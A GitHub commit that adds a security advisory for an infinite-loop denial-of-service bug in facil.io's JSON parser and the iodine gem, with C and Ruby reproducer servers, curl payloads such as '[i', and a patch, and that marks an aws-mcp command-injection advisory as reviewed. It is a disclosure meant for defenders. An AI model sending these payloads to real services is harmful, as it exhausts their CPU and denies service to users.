Skip to content

Commit fcd705b

Browse files

File tree

5 files changed

+720
-48
lines changed

5 files changed

+720
-48
lines changed
Lines changed: 56 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,56 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-2x79-gwq3-vxxm",
4+
"modified": "2026-04-14T23:41:06Z",
5+
"published": "2026-04-14T23:41:06Z",
6+
"aliases": [],
7+
"summary": "Uncontrolled resource consumption and loop with unreachable exit condition in facil.io and downstream iodine ruby gem",
8+
"details": "### Summary\n`fio_json_parse` can enter an infinite loop when it encounters a nested JSON value starting with `i` or `I`. The process spins in user space and pegs one CPU core at ~100% instead of returning a parse error. Because `iodine` vendors the same parser code, the issue also affects `iodine` when it parses attacker-controlled JSON.\n\nThe smallest reproducer found is `[i`. The quoted-value form that originally exposed the issue, `[\"\"i`, reaches the same bug because the parser tolerates missing commas and then treats the trailing `i` as the start of another value.\n\n### Details\nThe vulnerable logic is in `lib/facil/fiobj/fio_json_parser.h` around the numeral handling block (`0.7.5` / `0.7.6`: lines `434-468`; `master`: lines `434-468` in the current tree as tested).\n\nThis parser is reached from real library entry points, not just the header in isolation:\n\n- `facil.io`: `lib/facil/fiobj/fiobj_json.c:377-387` (`fiobj_json2obj`) and `402-411` (`fiobj_hash_update_json`)\n- `iodine`: `ext/iodine/iodine_json.c:161-177` (`iodine_json_convert`)\n- `iodine`: `ext/iodine/fiobj_json.c:377-387` and `402-411`\n\nRelevant flow:\n\n1. Inside an array or object, the parser sees `i` or `I` and jumps to the `numeral:` label.\n2. It calls `fio_atol((char **)&tmp)`.\n3. For a bare `i` / `I`, `fio_atol` consumes zero characters and leaves `tmp == pos`.\n4. The current code only falls back to float parsing when `JSON_NUMERAL[*tmp]` is true.\n5. `JSON_NUMERAL['i'] == 0`, so the parser incorrectly accepts the value as an integer and sets `pos = tmp` without advancing.\n6. Because parsing is still nested (`parser->depth > 0`), the outer loop continues forever with the same `pos`.\n\nThe same logic exists in `iodine`'s vendored copy at `ext/iodine/fio_json_parser.h` lines `434-468`.\n\nWhy the `[\"\"i` form hangs:\n\n1. The parser accepts the empty string `\"\"` as the first array element.\n2. It does not require a comma before the next token.\n3. The trailing `i` is then parsed as a new nested value.\n4. The zero-progress numeral path above causes the infinite loop.\n\nExamples that trigger the bug:\n\n- Array form, minimal: `[i`\n- Object form: `{\"a\":i`\n- After a quoted value in an array: `[\"\"i`\n- After a quoted value in an object: `{\"a\":\"\"i`\n\n## PoC\nEnvironment used for verification:\n\n- `facil.io` commit: `162df84001d66789efa883eebb0567426d00148e`\n- `iodine` commit: `5bebba698d69023cf47829afe51052f8caa6c7f8`\n- standalone compile against `fio_json_parser.h`\n\n### Minimal standalone program\n\nUse the normal HTTP stack. The following server calls `http_parse_body(h)`, which reaches `fiobj_json2obj` and then `fio_json_parse` for `Content-Type: application/json`.\n\n```c\n#define _POSIX_C_SOURCE 200809L\n\n#include <stdio.h>\n#include <time.h>\n#include <fio.h>\n#include <http.h>\n\nstatic void on_request(http_s *h) {\n fprintf(stderr, \"calling http_parse_body\\n\");\n fflush(stderr);\n http_parse_body(h);\n fprintf(stderr, \"returned from http_parse_body\\n\");\n http_send_body(h, \"ok\\n\", 3);\n}\n\nint main(void) {\n if (http_listen(\"3000\", \"127.0.0.1\",\n .on_request = on_request,\n .max_body_size = (1024 * 1024),\n .log = 1) == -1) {\n perror(\"http_listen\");\n return 1;\n }\n fio_start(.threads = 1, .workers = 1);\n return 0;\n}\n```\n\n`http_parse_body(h)` is the higher-level entry point and, for `Content-Type: application/json`, it reaches `fiobj_json2obj` in `lib/facil/http/http.c:1947-1953`.\n\nSave it as `src/main.c` in a vulnerable `facil.io` checkout and build it with the repo `makefile`:\n\n```bash\ngit checkout 0.7.6\nmkdir -p src\nmake NAME=http_json_poc\n```\n\nRun:\n\n```bash\n./tmp/http_json_poc\n```\n\nThen in another terminal send one of these payloads:\n\n```bash\nprintf '[i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/\nprintf '{\"a\":i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/\nprintf '[\"\"i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/\nprintf '{\"a\":\"\"i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/\n```\n\nObserved result on a vulnerable build:\n\n- The server prints `calling http_parse_body` and never reaches `returned from http_parse_body`.\n- The request never completes.\n- One worker thread spins until the process is killed.\n\n### Downstream impact in `iodine`\n\n`iodine` vendors the same parser implementation in `ext/iodine/fio_json_parser.h`, so any `iodine` code path that parses attacker-controlled JSON through this parser inherits the same hang / CPU exhaustion behavior.\n\nSingle-file `iodine` HTTP server repro:\n\n```ruby\nrequire \"iodine\"\n\nAPP = proc do |env|\n body = env[\"rack.input\"].read.to_s\n warn \"calling Iodine::JSON.parse on: #{body.inspect}\"\n Iodine::JSON.parse(body)\n warn \"returned from Iodine::JSON.parse\"\n [200, { \"Content-Type\" => \"text/plain\", \"Content-Length\" => \"3\" }, [\"ok\\n\"]]\nend\n\nIodine.listen service: :http,\n address: \"127.0.0.1\",\n port: \"3000\",\n handler: APP\n\nIodine.threads = 1\nIodine.workers = 1\nIodine.start\n```\n\nRun:\n\n```bash\nruby iodine_json_parse_http_poc.rb\n```\n\nThen in a second terminal:\n\n```bash\nprintf '[i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/\nprintf '{\"a\":i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/\nprintf '[\"\"i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/\nprintf '{\"a\":\"\"i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/\n```\n\nOn a vulnerable build, the server prints the `calling Iodine::JSON.parse...` line but never prints the `returned from Iodine::JSON.parse` line for these payloads.\n\n## Impact\nThis is a denial-of-service issue. An attacker who can supply JSON to an affected parser path can cause the process to spin indefinitely and consume CPU at roughly 100% of one core. In practice, the impact depends on whether an application exposes parser access to untrusted clients, but for services that do, a single crafted request can tie up a worker or thread until it is killed or restarted.\n\nI would describe the impact as:\n\n- Availability impact: high for affected parser entry points\n- Confidentiality impact: none observed\n- Integrity impact: none observed\n\n## Suggested Patch\nTreat zero-consumption numeric parses as failures before accepting the token.\n\n```diff\ndiff --git a/lib/facil/fiobj/fio_json_parser.h b/lib/facil/fiobj/fio_json_parser.h\n@@\n uint8_t *tmp = pos;\n long long i = fio_atol((char **)&tmp);\n if (tmp > limit)\n goto stop;\n- if (!tmp || JSON_NUMERAL[*tmp]) {\n+ if (!tmp || tmp == pos || JSON_NUMERAL[*tmp]) {\n tmp = pos;\n double f = fio_atof((char **)&tmp);\n if (tmp > limit)\n goto stop;\n- if (!tmp || JSON_NUMERAL[*tmp])\n+ if (!tmp || tmp == pos || JSON_NUMERAL[*tmp])\n goto error;\n fio_json_on_float(parser, f);\n pos = tmp;\n```\n\nThis preserves permissive `inf` / `nan` handling when the float parser actually consumes input, but rejects bare `i` / `I` tokens that otherwise leave the cursor unchanged.\n\nThe same change should be mirrored to `iodine`'s vendored copy:\n\n- `ext/iodine/fio_json_parser.h`\n\n\n## Impact\n- `facil.io`\n - Verified on `master` commit `162df84001d66789efa883eebb0567426d00148e` (`git describe`: `0.7.5-24-g162df840`)\n - Verified on tagged releases `0.7.5` and `0.7.6`\n- `iodine` Ruby gem\n - Verified on repo commit `5bebba698d69023cf47829afe51052f8caa6c7f8`\n - Verified on tag / gem version `v0.7.58`\n - The gem vendors a copy of the vulnerable parser in `ext/iodine/fio_json_parser.h`",
9+
"severity": [
10+
{
11+
"type": "CVSS_V4",
12+
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"
13+
}
14+
],
15+
"affected": [
16+
{
17+
"package": {
18+
"ecosystem": "RubyGems",
19+
"name": "iodine"
20+
},
21+
"ranges": [
22+
{
23+
"type": "ECOSYSTEM",
24+
"events": [
25+
{
26+
"introduced": "0"
27+
},
28+
{
29+
"last_affected": "0.7.58"
30+
}
31+
]
32+
}
33+
]
34+
}
35+
],
36+
"references": [
37+
{
38+
"type": "WEB",
39+
"url": "https://github.com/boazsegev/facil.io/security/advisories/GHSA-2x79-gwq3-vxxm"
40+
},
41+
{
42+
"type": "PACKAGE",
43+
"url": "https://github.com/boazsegev/facil.io"
44+
}
45+
],
46+
"database_specific": {
47+
"cwe_ids": [
48+
"CWE-400",
49+
"CWE-835"
50+
],
51+
"severity": "HIGH",
52+
"github_reviewed": true,
53+
"github_reviewed_at": "2026-04-14T23:41:06Z",
54+
"nvd_published_at": null
55+
}
56+
}

advisories/unreviewed/2026/04/GHSA-fgmx-xfp3-w28p/GHSA-fgmx-xfp3-w28p.json renamed to advisories/github-reviewed/2026/04/GHSA-fgmx-xfp3-w28p/GHSA-fgmx-xfp3-w28p.json

Lines changed: 7 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -1,12 +1,12 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-fgmx-xfp3-w28p",
4-
"modified": "2026-04-11T03:30:41Z",
4+
"modified": "2026-04-14T23:42:39Z",
55
"published": "2026-04-11T03:30:30Z",
66
"aliases": [
77
"CVE-2026-5059"
88
],
9-
"summary": "AWS CLI Command Injection Remote Code Execution Vulnerability",
9+
"summary": "aws-mcp has a Command Injection Remote Code Execution Vulnerability",
1010
"details": "aws-mcp-server AWS CLI Command Injection Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of aws-mcp-server. Authentication is not required to exploit this vulnerability.\n\nThe specific flaw exists within the handling of the allowed commands list. The issue results from the lack of proper validation of a user-supplied string before using it to execute a system call. An attacker can leverage this vulnerability to execute code in the context of the MCP server. Was ZDI-CAN-27969.",
1111
"severity": [
1212
{
@@ -26,6 +26,9 @@
2626
"events": [
2727
{
2828
"introduced": "0"
29+
},
30+
{
31+
"last_affected": "1.7.0"
2932
}
3033
]
3134
}
@@ -51,8 +54,8 @@
5154
"CWE-78"
5255
],
5356
"severity": "CRITICAL",
54-
"github_reviewed": false,
55-
"github_reviewed_at": null,
57+
"github_reviewed": true,
58+
"github_reviewed_at": "2026-04-14T23:42:39Z",
5659
"nvd_published_at": "2026-04-11T01:16:18Z"
5760
}
5861
}

0 commit comments

Comments
 (0)